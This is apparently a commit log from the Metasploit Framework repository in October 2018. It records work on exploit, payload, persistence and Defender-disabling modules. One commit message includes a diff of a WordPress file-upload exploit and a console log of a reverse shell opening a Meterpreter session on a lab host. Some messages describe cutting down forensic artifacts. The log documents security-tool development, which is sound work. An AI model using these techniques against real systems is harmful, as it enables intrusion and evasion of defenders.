2018-10-24 14:48:03 +08:00
William Vu
458f635159
Add supported payloads to module description
2018-10-24 01:30:27 -05:00
William Vu
839c4e0467
Drop rank to AverageRanking for now
2018-10-24 01:30:17 -05:00
William Vu
37560760df
Add RequiredCmd for generic and telnet
2018-10-24 01:23:15 -05:00
Elazar Broad
ef2854c918
Use in-memory reflection for executing the payload
...
Use to_win32pe_psh_reflection() instead of to_win32pe_psh_net() in order to reduce the amount of processes and forensic artifacts created by this module.
2018-10-23 22:12:10 -04:00
Elazar Broad
d75c599929
Use ShellExecuteA to spawn eventvwr.exe
...
Use ShellExecuteA from railgun to spawn eventvwr.exe, as opposed to cmd /c. This reduces the amount of processes generated by this module.
2018-10-23 21:52:36 -04:00
Elazar Broad
da4b424780
Fix typo in cleanup message
2018-10-23 21:33:49 -04:00
bwatters-r7
569c2e03c9
Fix exploit relics and documentation
2018-10-23 17:15:34 -05:00
William Vu
bf5fe2864f
Update module doc
2018-10-23 16:28:49 -05:00
William Vu
67f2933b58
Make fewer assumptions about Apache
...
Returning CheckCode::Safe is too aggressive for a supplemental check.
Admins can change the directive in top-level configuration, anyway.
2018-10-23 16:26:17 -05:00
egre55
d1111ace5d
fixes
2018-10-23 17:19:14 -04:00
Shelby Pace
34ae9c38f9
added WebEx modules, arch check
2018-10-23 15:51:23 -05:00
Metasploit
51a8fee018
automatic module_metadata_base.json update
2018-10-23 10:34:37 -07:00
bwatters-r7
927a29530b
Remove duplicated files
2018-10-23 12:31:18 -05:00
Brent Cook
65c0573738
Land #10848 , improve play_youtube post module
2018-10-23 12:26:55 -05:00
Jeffrey Martin
efeacf8666
ensure os_flavor can be supplied for no Windows OS
2018-10-23 12:22:57 -05:00
Metasploit
db9070449c
automatic module_metadata_base.json update
2018-10-23 10:14:24 -07:00
Brent Cook
b65f467ada
Land #10851 , add ndkstager to data/exploits
2018-10-23 12:04:57 -05:00
Brent Cook
e992b63520
Land #10856 , add SSL support to php meterpreter
2018-10-23 11:59:09 -05:00
Brent Cook
e73a568839
Land #10855 , Enable non-session command output for SSH modules
2018-10-23 11:58:16 -05:00
kr3bz
be2ec76ed2
Added modified mercury_login.rb
...
Modified the script with recommendations.
2018-10-23 17:17:30 +02:00
William Vu
9c49acb924
Fail scanner instead of returning
2018-10-23 10:07:38 -05:00
William Vu
9c7a705868
Update module doc
2018-10-23 09:53:46 -05:00
William Vu
58a1b65e60
Update Exploit::CheckCode::Unknown
...
Brain fart.
2018-10-23 09:34:48 -05:00
William Vu
899238a4e3
Update libssh_auth_bypass with command output
2018-10-23 09:34:42 -05:00
William Vu
4182777488
Support SSH shell/exec channel request output
...
Looks like channel[:data] was initialized but never used.
2018-10-23 09:34:12 -05:00
Spencer McIntyre
c71bbc1019
Remove spaces that msftidy caught
2018-10-23 10:13:44 -04:00
Brendan Coles
0e7259040d
Update modules/exploits/windows/imap/mercury_login.rb
...
Co-Authored-By: kr3bz <racic.ivan@gmail.com >
2018-10-23 14:32:53 +02:00
Brendan Coles
903f5e9ede
Update modules/exploits/windows/imap/mercury_login.rb
...
Co-Authored-By: kr3bz <racic.ivan@gmail.com >
2018-10-23 14:32:44 +02:00
Brendan Coles
0b37e29c9a
Update modules/exploits/windows/imap/mercury_login.rb
...
Co-Authored-By: kr3bz <racic.ivan@gmail.com >
2018-10-23 14:32:38 +02:00
Brendan Coles
43dd23042b
Update modules/exploits/windows/imap/mercury_login.rb
...
Co-Authored-By: kr3bz <racic.ivan@gmail.com >
2018-10-23 14:32:10 +02:00
William Vu
326597e842
Update module doc with new output
2018-10-23 07:14:19 -05:00
William Vu
bdf2d44415
Augment check with Apache Server header
2018-10-23 07:04:14 -05:00
William Vu
0249f1a4af
Improve check method and refactor
2018-10-23 06:20:31 -05:00
Ivan Racic
ee3c663baf
Upgraded exploit to work on any Windows target
...
In short, added egghunter and return address of
the executable file itself, so it should work
on any windows system.
Also, upgraded to modern exploit module requirements.
2018-10-23 12:11:56 +02:00
William Vu
3d06c10ad0
Link to Apache AllowOverride directive and change
2018-10-23 03:51:16 -05:00
William Vu
c9673df3b8
Add WordPress Work The Flow File Upload links
...
As noted by @bcoles, we have a module exploiting this vuln in #5130 ,
though it was described as the WordPress plugin and not the asset it had
included. The vuln was "patched" in the plugin by deleting the code.
Somehow this flew under everyone's noses.
msf5 exploit(unix/webapp/wp_worktheflow_upload) > edit
msf5 exploit(unix/webapp/wp_worktheflow_upload) > git diff
[*] exec: git diff
diff --git a/modules/exploits/unix/webapp/wp_worktheflow_upload.rb b/modules/exploits/unix/webapp/wp_worktheflow_upload.rb
index 727c1936f5..2146be49ec 100644
--- a/modules/exploits/unix/webapp/wp_worktheflow_upload.rb
+++ b/modules/exploits/unix/webapp/wp_worktheflow_upload.rb
@@ -50,8 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote
post_data = data.to_s
res = send_request_cgi({
- 'uri' => normalize_uri(wordpress_url_plugins, 'work-the-flow-file-upload', 'public', 'assets',
- 'jQuery-File-Upload-9.5.0', 'server', 'php', 'index.php'),
+ 'uri' => '/jQuery-File-Upload/server/php/index.php',
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
@@ -70,8 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_status("Calling payload...")
send_request_cgi(
- 'uri' => normalize_uri(wordpress_url_plugins, 'work-the-flow-file-upload', 'public', 'assets',
- 'jQuery-File-Upload-9.5.0', 'server', 'php', 'files', php_pagename)
+ 'uri' => "/jQuery-File-Upload/server/php/files/#{php_pagename}"
)
end
end
msf5 exploit(unix/webapp/wp_worktheflow_upload) > rerun
[*] Reloading module...
[*] Started reverse TCP handler on 172.28.128.1:4444
[+] Our payload is at: rLRFvlAiE.php. Calling payload...
[*] Calling payload...
[*] Sending stage (37775 bytes) to 172.28.128.3
[*] Meterpreter session 1 opened (172.28.128.1:4444 -> 172.28.128.3:54386) at 2018-10-23 03:17:59 -0500
[+] Deleted rLRFvlAiE.php
meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer : ubuntu-xenial
OS : Linux ubuntu-xenial 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64
Meterpreter : php/linux
meterpreter >
Welp.
2018-10-23 03:51:11 -05:00
William Vu
a55f7ff30a
Clarify vuln (re)discovery vs. disclosure
...
https://www.bleepingcomputer.com/news/security/jquery-file-upload-plugin-vulnerable-for-8-years-and-only-hackers-knew/
2018-10-23 03:22:45 -05:00
William Vu
b4bdc52597
Sort path list by frequency
2018-10-22 23:35:42 -05:00
William Vu
df23507772
Add module doc
2018-10-22 23:35:42 -05:00
William Vu
dbc0c802d5
Add detection of additional paths
2018-10-22 23:35:42 -05:00
William Vu
c4f8b6c937
Add rudimentary check method
2018-10-22 23:35:42 -05:00
William Vu
dba7e35819
Refactor slightly with methods
...
And also check upload response.
2018-10-22 23:35:42 -05:00
William Vu
e7ada1a40c
Add timeout on payload request
...
This ensures we don't block on execution.
2018-10-22 23:35:42 -05:00
William Vu
15f14bb295
Add note about Apache .htaccess
2018-10-22 23:35:42 -05:00
William Vu
a986a17bb0
Link to @lcashdol's PoC
2018-10-22 23:35:42 -05:00
William Vu
37dbdbf58f
Update project URL to PR
2018-10-22 23:35:42 -05:00
William Vu
41721c31fb
Add blueimp's jQuery (Arbitrary) File Upload
2018-10-22 23:35:42 -05:00
Green-m
c0e8d09802
Add disclosure date.
2018-10-23 09:44:36 +08:00
Spencer McIntyre
7c3e3da8d1
Add documentation for the play_youtube module
2018-10-22 20:50:41 -04:00
Spencer McIntyre
15e67de8fc
Add the EMBED option for play_youtube.rb
2018-10-22 19:51:41 -04:00
William Vu
f40647b2a4
Link to Docker environment in module doc
2018-10-22 18:32:37 -05:00
William Vu
3ca309423a
Add check method to detect 4.3BSD fingerd
2018-10-22 18:32:37 -05:00
William Vu
8459aad215
Prefer aobleq over incl/cmpl/bleq in payload
2018-10-22 18:32:37 -05:00
William Vu
01d11e71db
Add Space, BadChars, Encoder, and DisableNops
2018-10-22 18:32:37 -05:00
William Vu
114692ee56
Add module doc and promise a Docker environment
2018-10-22 18:32:37 -05:00
William Vu
fa892d8eba
Add Morris worm fingerd stack buffer overflow
2018-10-22 18:32:37 -05:00
William Vu
8f2df4864c
Add 4.3BSD VAX reverse command shell payload
2018-10-22 18:32:37 -05:00
Jeffrey Martin
380aaf7889
bump payloads gem
2018-10-22 18:20:45 -05:00
Metasploit
9b01f3deaf
automatic module_metadata_base.json update
2018-10-22 14:26:09 -07:00
asoto-r7
f742d3bd9a
Land #10450 , Implementation of CTRL+Z in reverse shell session
...
Additionally, a check was added to disable this new functionality on
Windows command shell payloads.
2018-10-22 15:50:41 -05:00
William Vu
e6bbc6dbd6
Land #10845 , glassfish_traversal typo fix
2018-10-22 15:32:14 -05:00
h00die
dd5ac16240
re-add report
2018-10-22 15:42:47 -04:00
pasta
8d9bd33222
new version using Metasm
2018-10-22 16:36:04 -03:00
blue-bird1
6125ef06ad
fix small typo
2018-10-23 00:01:13 +08:00
Green-m
8a89e8c00c
Move doc as the module do.
2018-10-22 18:10:39 +08:00
Green-m
4711d6ba08
Move post module persistenct service to exploit.
2018-10-22 18:07:40 +08:00
Christian Mehlmauer
a67a25c34e
remove debug output
2018-10-21 22:34:19 +02:00
Christian Mehlmauer
e9da06a645
change docker root exec
2018-10-21 22:30:01 +02:00
Luisco100
74683ce951
Add Windows Post Module to disable Windows Defender signatures
2018-10-21 12:07:54 -05:00
William Vu
8a6075c882
Add module doc
2018-10-20 14:15:26 -05:00
h00die
4426e4131a
remove unecessary include
2018-10-20 15:01:40 -04:00
William Vu
58a6c4137d
Add a better timeout than expect can provide
2018-10-20 13:56:37 -05:00
William Vu
a965abaf36
Add full payload support by setting $PATH
2018-10-20 13:56:33 -05:00
William Vu
60c4b87ad1
Prefer expect over sleeping between writes
2018-10-20 13:15:15 -05:00
William Vu
ad6f15c8ca
Add Morris worm sendmail debug mode exploit
2018-10-20 13:15:01 -05:00
William Vu
c6cb6ce2f3
Land #10837 , QNX qconn module rename (redux)
2018-10-20 13:10:36 -05:00
Brendan Coles
7a36056713
Move exploit/qnx/qconn_exec to exploit/qnx/qconn/qconn_exec
2018-10-20 18:16:59 +00:00
William Vu
aae74472d2
Land #10817 , QNX qconn module rename
2018-10-20 03:10:22 -05:00
Brent Cook
accf9edf89
Land #10835 , libssh fingerprint improvements
2018-10-19 19:48:23 -05:00
bwatters-r7
47353553e5
Get everything together finally (still needs cleanup)
2018-10-19 18:15:44 -05:00
bwatters-r7
a6be9e573f
Should have saved the actual file...
2018-10-19 16:30:21 -05:00
bwatters-r7
eeec3c115e
This is as far as I can take it for an exploit module
...
but it still does not work. Commiting for posterity.
2018-10-19 16:12:47 -05:00
Metasploit
a3e3e6b88b
automatic module_metadata_base.json update
2018-10-19 14:01:49 -07:00
William Vu
abd425c863
Land #10819 , os_name population for ssh_login*
2018-10-19 15:53:38 -05:00
William Vu
db7bd3d50c
Update style
2018-10-19 15:52:26 -05:00
William Vu
2a1dec45ed
Land #10832 , TARGETURI for tomcat_utf8_traversal
2018-10-19 15:47:37 -05:00
William Vu
aac4a28985
Fix git apply -p value
2018-10-19 15:41:39 -05:00
William Vu
cea619aab1
Prefer Git for all the things
2018-10-19 15:40:16 -05:00
William Vu
e4c71265fb
Improve banner checking in libssh_auth_bypass
...
Now we do the right thing when libssh is patched.
2018-10-19 15:21:12 -05:00
pasta
3a02e9e80f
First release, messagebox payload for x64
2018-10-19 16:39:41 -03:00
Brent Cook
d65cba685f
Land #10826 , Update ruby version
2018-10-19 14:16:28 -05:00
Metasploit
e8377251c2
automatic module_metadata_base.json update
2018-10-19 12:08:58 -07:00
Brent Cook
c8a554f84a
Land #10820 , Add libssh authentication bypass scanner/"exploit"
2018-10-19 13:57:28 -05:00
Spencer McIntyre
65d26d3a1e
Use the DISPLAY environment variable when available
2018-10-19 14:35:35 -04:00
William Vu
da38dfb29a
Clarify we never receive CHANNEL_OPEN_FAILURE
2018-10-19 13:25:19 -05:00
William Vu
cc283d9def
Add testing note about session channel opens
2018-10-19 13:13:22 -05:00
William Vu
ab5fccc8f6
Add module doc for great justice
2018-10-19 12:57:58 -05:00
William Vu
713f44204d
Add PTY-less support to shell_request in patch
2018-10-19 00:47:44 -05:00
William Vu
009980f8ca
Add ssh_server_fork.patch to get RCE out of libssh
2018-10-19 00:40:08 -05:00
William Vu
21397330f8
Refactor fortinet_backdoor copypasta
2018-10-19 00:07:18 -05:00
Metasploit
af63663779
automatic module_metadata_base.json update
2018-10-18 21:08:13 -07:00
William Vu
863ab3447f
Add libssh auth bypass module
2018-10-18 23:03:23 -05:00
William Vu
d1354cc1f7
Add libssh auth bypass packet
2018-10-18 23:03:23 -05:00
William Vu
c26d1c93e4
Land #10833 , Net::SSH::CommandStream fixes
2018-10-18 23:00:42 -05:00
William Vu
cf00f20e11
Update Net::SSH::CommandStream exception handling
2018-10-18 22:45:16 -05:00
Christian Mehlmauer
db6cfb65d3
new ruby
2018-10-19 02:57:20 +02:00
Wei Chen
3cee96d8ed
Land #10664 , add Windows SetImeInfoEx Win32k NULL Pointer Dereference
2018-10-18 14:42:14 -05:00
Wei Chen
fac05db154
Update rescue statement
2018-10-18 14:30:20 -05:00
Brendan Coles
02c916b1b4
Update modules/auxiliary/admin/http/tomcat_utf8_traversal.rb
2018-10-19 04:16:26 +11:00
Metasploit
af61e07536
Weekly dependency update
2018-10-18 10:08:53 -07:00
Patrick Webster
175e5e5adf
Added module TARGETURI support.
2018-10-19 03:55:45 +11:00
Tim W
1e5f3f2f7b
add documentation
2018-10-18 12:45:53 +08:00
Tim W
b3d45586db
feedback from code review
2018-10-18 12:30:46 +08:00
Green-m
73d3cb8c03
Fix some format errors.
2018-10-18 12:01:57 +08:00
Tim W
64e257649f
cleanup module
2018-10-18 11:45:59 +08:00
Tim W
290d4428c1
create git mixin
2018-10-18 11:31:31 +08:00
Tim W
063e477ff2
git submodule url exec (CVE-2018-17456)
2018-10-18 11:02:28 +08:00
Christian Mehlmauer
8bc92c060e
ruby update
2018-10-18 00:51:29 +02:00
bwatters-r7
d2c013001d
Update stuff
2018-10-17 17:17:05 -05:00
Brent Cook
390e0e86f7
Land #10824 , add PTY option to Net::SSH::CommandStream
2018-10-17 15:46:59 -05:00
William Vu
6fd53fcb6a
Fix whitespace further
2018-10-17 15:45:02 -05:00
William Vu
1e1950c83d
Prefer keyword args after all
...
SINCE we've been using only the first two params, we're fine!
2018-10-17 15:41:19 -05:00
William Vu
a453760aa4
Add PTY option to Net::SSH::CommandStream
...
This allows us to spawn a PTY for our shell session. Note that this will
write us to {u,w}tmp and lastlog, so use this option with care.
And yes, I did change the API, but up until now, we've been using only
the first two parameters. We should be using keyword args. /shrug
2018-10-17 15:40:13 -05:00
h00die
e78b760678
database host info from post modules
2018-10-17 12:43:05 -04:00
Green-m
e953a20879
Add doc for post module persistence service.
2018-10-17 18:46:25 +08:00
Green-m
f59792773f
Add post module windows persistent service.
2018-10-17 18:44:46 +08:00
Green-m
ef3b1df647
Fix regular
2018-10-17 18:34:35 +08:00
Green-m
7b1b2198cb
resolve confiict.
2018-10-17 17:33:01 +08:00
Green-m
889f5a7042
Remove temp file
2018-10-17 16:41:24 +08:00
Green-m
941b015525
Add shebang.
2018-10-17 16:23:56 +08:00
Green-m
f8e64dba84
Remove a temp file.
2018-10-17 16:22:54 +08:00
Green-m
5df6f11cfc
Enhance regular to match blank before include.
2018-10-17 16:20:10 +08:00
Green-m
0ccebd9916
Add some define for windows compiler.
2018-10-17 16:18:38 +08:00
h00die
763506f28d
ssh_login now populates the os_name field
2018-10-16 22:02:44 -04:00
h00die
e8a08c9eeb
review changes
2018-10-16 20:59:42 -04:00
Patrick
58d4bcb8b9
adds dump_pad_size to msfvenom
2018-10-16 15:48:05 -05:00
Jacob Robles
786629afc9
Land #10818 , Disable ERB templating for Metasploit::Framework::Compiler::Utils
2018-10-16 14:18:50 -05:00
h00die
32f4e2c9a0
add version and hostname to cisco config parser
2018-10-16 15:02:42 -04:00
Wei Chen
69cd0a5ddc
Disable ERB templating for Metasploit::Framework::Compiler::Utils
2018-10-16 14:02:13 -05:00
h00die
4a06fe1d4b
use store_valid_credential instead
2018-10-16 14:01:49 -04:00
Brendan Coles
a14df8d86e
Move exploit/unix/misc/qnx_qconn_exec to exploit/qnx/qconn_exec
2018-10-16 16:21:28 +00:00
Brendan Coles
89a4beacc9
Land #10816 , Add a bg alias for background command
2018-10-16 16:14:01 +00:00
Rich Whitcroft
854485a016
add bg command to meterpreter
2018-10-16 14:01:50 +00:00
Shelby Pace
9e069c95f5
add auto targeting
2018-10-15 23:26:08 -07:00
Shelby Pace
6cdfe604d4
removed exception handling for reg_file_for_handle
2018-10-15 18:29:15 -07:00
Metasploit
293568c13d
automatic module_metadata_base.json update
2018-10-15 15:52:10 -07:00
Wei Chen
a19046dedb
Land #10793 , improve windows_defender_js_hta
2018-10-15 17:42:21 -05:00
Metasploit
5eb4bb5dc3
automatic module_metadata_base.json update
2018-10-15 13:57:00 -07:00
Wei Chen
16b50232d1
Land #9642 , support version 5 for GetGo Download Manager bof exploit
2018-10-15 15:47:35 -05:00
Wei Chen
8e442cc980
Update documenation
2018-10-15 15:45:39 -05:00
Wei Chen
b0313dd25c
Update getgodm_http_response_bof for proper auto targets
2018-10-15 15:25:55 -05:00
Wei Chen
ff9f3ed9ff
Add support for v5
2018-10-15 15:14:12 -05:00
Patrick
1241041739
[Issue 6100] Add --pad-size option to msfvenom to prepend nopsled given total payload size
2018-10-15 14:46:16 -05:00
Wei Chen
5433d2cca9
Sync up upstream master
2018-10-15 14:19:07 -05:00
Pedro Ribeiro
ab63044fe0
Update cisco_prime_inf_rce.md
2018-10-15 22:37:47 +07:00
Pedro Ribeiro
53f9c359e9
Update cisco_prime_inf_rce.md
2018-10-15 22:37:22 +07:00
Pedro Ribeiro
38ad735b04
Create cisco_prime_inf_rce.md
2018-10-15 22:35:26 +07:00
Brendan Coles
6660b1857b
Land #10800 , Add docs for auxiliary/scanner/snmp/ Cisco modules
2018-10-15 07:13:06 +00:00
Brendan Coles
506bdd5604
Land #10797 , Add docs for auxiliary/scanner/sip/options_tcp module
2018-10-15 07:08:55 +00:00
Dhiraj Mishra
f78ccbf995
Indentation
2018-10-15 08:32:58 +05:30
Metasploit
feb3cfe5ab
automatic module_metadata_base.json update
2018-10-14 07:43:12 -07:00
h00die
8877582086
Land #10668 rsh stack clash solaris priv esc
2018-10-14 10:34:48 -04:00
h00die
f399b59ae4
Merge branch 'master' of https://github.com/rapid7/metasploit-framework into cisco_device_manager
2018-10-13 13:31:20 -04:00
h00die
46a3d065ce
fix indentation
2018-10-13 08:54:44 -04:00
h00die
90768e28ce
fixed up
2018-10-13 08:51:42 -04:00
h00die
149a74d07b
small fixes
2018-10-13 08:48:13 -04:00
Shelby Pace
a942654515
rescue-from-method addressed
2018-10-12 14:47:05 -05:00
bwatters-r7
629f4c190d
change encoding so app source no longer appears as binary
2018-10-12 14:44:17 -05:00
bwatters-r7
d1d40115c5
Fix source to not look like binary
2018-10-12 14:39:00 -05:00
Shelby Pace
26631bcfbd
addressed suggestions
2018-10-12 14:35:42 -05:00
Metasploit
1f41a7e37e
automatic module_metadata_base.json update
2018-10-12 09:22:58 -07:00
William Vu
5b14d94957
Land #10671 , struts2_namespace_ognl updates
...
There are still some outstanding concerns, but I want to unblock this.
2018-10-12 11:08:33 -05:00
William Vu
2989507b85
Copy check for data_header to avoid crash
...
Variable was used but out of scope.
2018-10-12 11:06:26 -05:00
Kevin Kirsche
aadefdbc82
Update msfvenom formatter to be case insensitive
2018-10-12 11:11:52 -04:00
Brent Cook
387e61260c
Land #10790 , don't log peer if it represents > 1 target
2018-10-12 02:16:04 -05:00
Brent Cook
4ae45cb20b
comment around why we do this, make check more explicit
2018-10-12 02:12:30 -05:00
Dhiraj Mishra
96eeaf7da3
Made few changes
...
Thank you bcoles
2018-10-12 11:47:53 +05:30
h00die
55e1915725
cisco snmp docs
2018-10-11 23:12:44 -04:00
h00die
e8097791fe
remove spaces at eol
2018-10-11 21:46:45 -04:00
h00die
d480a78b91
capture ephone creds
2018-10-11 21:21:53 -04:00
h00die
f675ba5243
password not username
2018-10-11 17:08:03 -04:00
h00die
20a376130e
cat variable name
2018-10-11 17:04:57 -04:00
h00die
e81d3c14ef
add docs
2018-10-11 17:02:02 -04:00
h00die
7cc46df6db
add docs and update cisco_device_manager
2018-10-11 17:01:38 -04:00
h00die
63756bc800
add sip options_tcp docs
2018-10-11 16:17:01 -04:00
Shelby Pace
a67122aaf7
updated doc, added x86_64 binary
2018-10-11 12:37:51 -05:00
Nate Caroe
14e87bf06f
Baby come back
2018-10-11 11:10:36 -06:00
Metasploit
e05ee28190
Weekly dependency update
2018-10-11 10:10:02 -07:00
Shelby Pace
cdc2918c84
removed original binary, added source
2018-10-11 11:42:51 -05:00
Nate Caroe
e207c225a2
Remove function entirely
2018-10-11 10:41:43 -06:00
Shelby Pace
521b50af55
added separate binaries, extended for x86
2018-10-11 10:43:35 -05:00
amaloteaux
f8ad47d475
improve windows_defender_js_hta :
...
-add platform detection for jsc
-prevent cmd prompt when launching jsc
2018-10-11 17:38:47 +02:00
Alex Gonzalez
1da99c8bd1
Fixed syntax errors
...
Corrected redundant returns and indentation errors
2018-10-11 10:01:47 -04:00
Alex Gonzalez
86f7c270c6
Fixed stylistic and syntax errors
2018-10-11 09:19:35 -04:00
l9c
ed2ba1cb00
add support for ProcessName option, defaults to spoolsv.exe
2018-10-11 17:23:59 +08:00
l9c
ce848712dd
add support for ProcessName option, defaults to spoolsv.exe
2018-10-11 10:56:07 +08:00
Nate Caroe
5c061c02b9
Remove peer information from the prefix
2018-10-10 16:31:48 -06:00
Metasploit
2ce34b4a0e
automatic module_metadata_base.json update
2018-10-10 15:27:49 -07:00
Brent Cook
a3829852bd
Land #10789 , typo fix
2018-10-10 17:18:12 -05:00
Patrick DeSantis
c0aff8f134
Description update / typo fix
...
fix typo in module description (added one word)
2018-10-10 17:56:17 -04:00
Brent Cook
3349ecf212
Land #10788 , Clarify "NameError: wrong constant name" message on invalid module name
2018-10-10 15:34:55 -05:00
Shelby Pace
04cc40136f
changed formatting, deleted post, renamed files
2018-10-10 14:41:14 -05:00
William Vu
0b8926715e
Reactively check for invalid module names
2018-10-10 14:33:59 -05:00
William Vu
29f36a3921
Add Msf::ModuleLoadError exception
2018-10-10 14:22:40 -05:00
Shelby Pace
76325bd21e
fixed indentation
2018-10-10 14:18:44 -05:00
Metasploit
2ff9026422
automatic module_metadata_base.json update
2018-10-10 11:56:15 -07:00
Jacob Robles
fb689da24c
Land #10335 , Add vlc_mkv exploit module
2018-10-10 13:47:08 -05:00
William Vu
1737935dc0
Convert reverse_relative_name to a class method
...
It'll be easier to use this way if someone uses it externally.
2018-10-10 13:21:18 -05:00
Brent Cook
12857a1d93
Land #10784 , Add 'evasion' to search help
2018-10-10 13:02:45 -05:00
Brent Cook
e829c6a838
Land #10786 , Fix 'show evasion' command
2018-10-10 13:01:35 -05:00
Brent Cook
1a0df7ce07
Land #10787 , Remove unused 'unknown' author mapping in author.rb
2018-10-10 13:01:05 -05:00
Alex Gonzalez
0f3917f540
Fixed syntax errors
2018-10-10 13:26:49 -04:00
Jacob Robles
6544c6636c
Add documentation
2018-10-10 12:23:52 -05:00
Jacob Robles
50a7ee5e6a
Minor modifications
2018-10-10 12:22:47 -05:00
William Vu
63bcbdc8db
Remove unknown author mapping in author.rb
...
No one was using it and instead writing "Unknown" directly. It was also
producing an invalid e-mail address.
2018-10-10 11:59:01 -05:00
Dhiraj Mishra
ee2c6274c7
Updating description
2018-10-10 22:26:07 +05:30
Dhiraj Mishra
48432491a2
Adding documentation
...
Documentation path: documentation/modules/exploit/windows/local/ms18_8120_win32k_privsec.md
2018-10-10 22:11:05 +05:30
Dhiraj Mishra
3de0d81a44
Deleting documenation from /post/windows/escalate
2018-10-10 22:05:19 +05:30
Dhiraj Mishra
4a821101ce
Fixing cmd_exec_get_pid
2018-10-10 21:59:46 +05:30
Jacob Robles
796579e265
Use fail_with
2018-10-10 11:24:16 -05:00
Jacob Robles
4beb434054
Default Payloads
...
exploit:vlc_mkv default target payloads
2018-10-10 11:23:17 -05:00
Dhiraj Mishra
c1c07d5c8f
Updating
...
Suggestion given by Shelby
2018-10-10 21:30:12 +05:30
Wei Chen
b103ea256d
Fix #10785 , incorrect implementation of "show evasion" command
...
Fix #10785
2018-10-10 10:20:12 -05:00
Metasploit
73542db0e8
automatic module_metadata_base.json update
2018-10-10 08:01:51 -07:00
Auxilus
a6797f101d
Add 'evasion' to search help
2018-10-10 20:15:47 +05:30
Brent Cook
79add20180
Land #10783 , Make WritableDir an advanced option
2018-10-10 09:41:47 -05:00
Brendan Coles
8826932f72
Fix syntax errors
2018-10-10 14:39:07 +00:00
Brendan Coles
15cfeb37ea
CamelCase
2018-10-10 14:35:34 +00:00
Brendan Coles
7a048afd14
Make WritableDir an advanced option
2018-10-10 14:12:29 +00:00
Brent Cook
ba0bfb1114
Land #10781 , Fix error in rpc_shell_read RPC method.
2018-10-10 09:02:47 -05:00
Dhiraj Mishra
dbcee56995
Fixing spaces at EOL
2018-10-10 15:10:58 +05:30
Ivo Nutár
50755b2e00
Fix function rpc_shell_read - return result as string
2018-10-10 11:36:17 +02:00
Ivo Nutár
36b7fb3524
Fix function rpc_shell_read - remove wrong parameter data, return correct values
2018-10-10 11:31:03 +02:00
Dhiraj Mishra
619a07fc3c
Update
2018-10-10 14:21:08 +05:30
Metasploit
9436821f34
automatic module_metadata_base.json update
2018-10-09 21:44:58 -07:00
Jeffrey Martin
6cdfbdd281
Land #10554 , Rescue REX runtime errors in x86 encoders
2018-10-09 22:52:48 -05:00
Green-m
4aef5accfa
Merge branch 'master' into feature/win_service
2018-10-10 11:04:22 +08:00
Jacob Robles
1cb8418b2d
Filename options
...
exploit:vlc_mkv overwrite fileformat filename method
to supply options
2018-10-09 21:15:10 -05:00
Jacob Robles
94f260f289
exploit rand_text
...
exploit:vlc_mkv use rand_text functions defined in exploit.rb
2018-10-09 21:15:05 -05:00
Jacob Robles
e07da5c518
EDB Ref Fix
...
exploit:vlc_mkv
2018-10-09 20:57:44 -05:00
Alex Gonzalez
26482ee6d6
Fixed EOL spaces
2018-10-09 18:30:41 -04:00
Alex Gonzalez
9c9cd33c34
Fixed syntax errors and inconsistencies
2018-10-09 17:45:02 -04:00
Jacob Robles
af594f6744
Merge in master
2018-10-09 12:56:31 -05:00
Imran E. Dawoodjee
c86f68cb60
Minor changes to module, updated documentation.
2018-10-09 20:39:00 +06:30
Brent Cook
7f2aa8ca4e
Land #10770 , show full path for webcam_stream file
2018-10-09 05:32:32 -05:00
Brent Cook
6293372218
Land #10762 , bump version
2018-10-09 05:32:01 -05:00
Imran E. Dawoodjee
4332c4cffd
Increased linemax from 128 to 2048.
2018-10-09 15:35:47 +06:30
Imran E. Dawoodjee
97b398963b
Suggestions by @bcoles implemented, randomized MAC
2018-10-09 14:02:56 +06:30
Dhiraj Mishra
e2f9fb5d8e
Updating Indentation
2018-10-09 12:52:34 +05:30
Pedro Ribeiro
9bbd90f978
Style fixes and add full disc URL
2018-10-09 13:38:13 +07:00
Imran E. Dawoodjee
78624b7020
Updated documentation and fixed the code (mostly).
2018-10-09 10:52:06 +06:30
Metasploit
836df898cf
automatic module_metadata_base.json update
2018-10-08 14:17:40 -07:00
Shelby Pace
96681b03d1
Land #10776 , Fix references in #10672
2018-10-08 16:08:50 -05:00
William Vu
6c74820843
Land #10773 , session.platform TypeError fix
...
This also adds an "unknown" platform class.
2018-10-08 14:38:31 -05:00
William Vu
ccfdfb6a5c
Clean up new "unknown" platform and current use
2018-10-08 14:31:31 -05:00
William Vu
9ec989a1bd
Address @bcoles' review in #10672
2018-10-08 14:15:21 -05:00
Metasploit
e2c7a01fc0
automatic module_metadata_base.json update
2018-10-08 12:14:00 -07:00
William Vu
8f3eb33677
Land #10775 , ZDI reference for delta_ia_commgr_bof
2018-10-08 14:05:59 -05:00
Tod Beardsley
6e10718ed5
Format ZDI ref correctly.
2018-10-08 13:48:52 -05:00
Tod Beardsley
f7d2815a01
Add a ZDI reference
2018-10-08 13:23:50 -05:00
Tod Beardsley
cdd1674156
Merge pull request #21 from rapid7/master
...
Sync with upstream
2018-10-08 13:21:30 -05:00
h00die
edea3c45cd
dont append nothing
2018-10-08 13:23:54 -04:00
h00die
023f7db9ba
explicitly declare rank 0
2018-10-08 13:16:14 -04:00
h00die
cd9ef01c9a
add default case unknown platform and new cisco ios proof
2018-10-08 13:07:45 -04:00
h00die
e937f5fee1
to_s platform
2018-10-08 11:39:31 -04:00
Metasploit
06f453e2f3
automatic module_metadata_base.json update
2018-10-08 08:13:57 -07:00
Shelby Pace
bed497c6ae
Land #10672 , Add COMMGR Buffer Overflow module
2018-10-08 10:04:52 -05:00
Imran E. Dawoodjee
0fe989b42f
Code streamlining.
2018-10-08 21:12:27 +06:30
h00die
71a6d802e8
show full path
2018-10-08 10:27:56 -04:00
Imran E. Dawoodjee
1223229d1c
Also removed the wordlist file, it seems redundant after hardcoding the
...
URI.
2018-10-08 20:53:31 +06:30
Imran E. Dawoodjee
4cc2c22026
Used a command stager, improved upon vulnerability detection and
...
generally attempted to streamline most of the code. Hardcoded one
vulnerable URI since it's the most likely to be present in all versions
of the vulnerable firmwares.
2018-10-08 20:51:58 +06:30
Dhiraj Mishra
56a39545c6
Updating
2018-10-08 16:40:19 +05:30
Dhiraj Mishra
097e9b8bfe
Indentation
2018-10-08 14:48:05 +05:30
Imran E. Dawoodjee
b552b803bb
Still working on the HTTP stager.
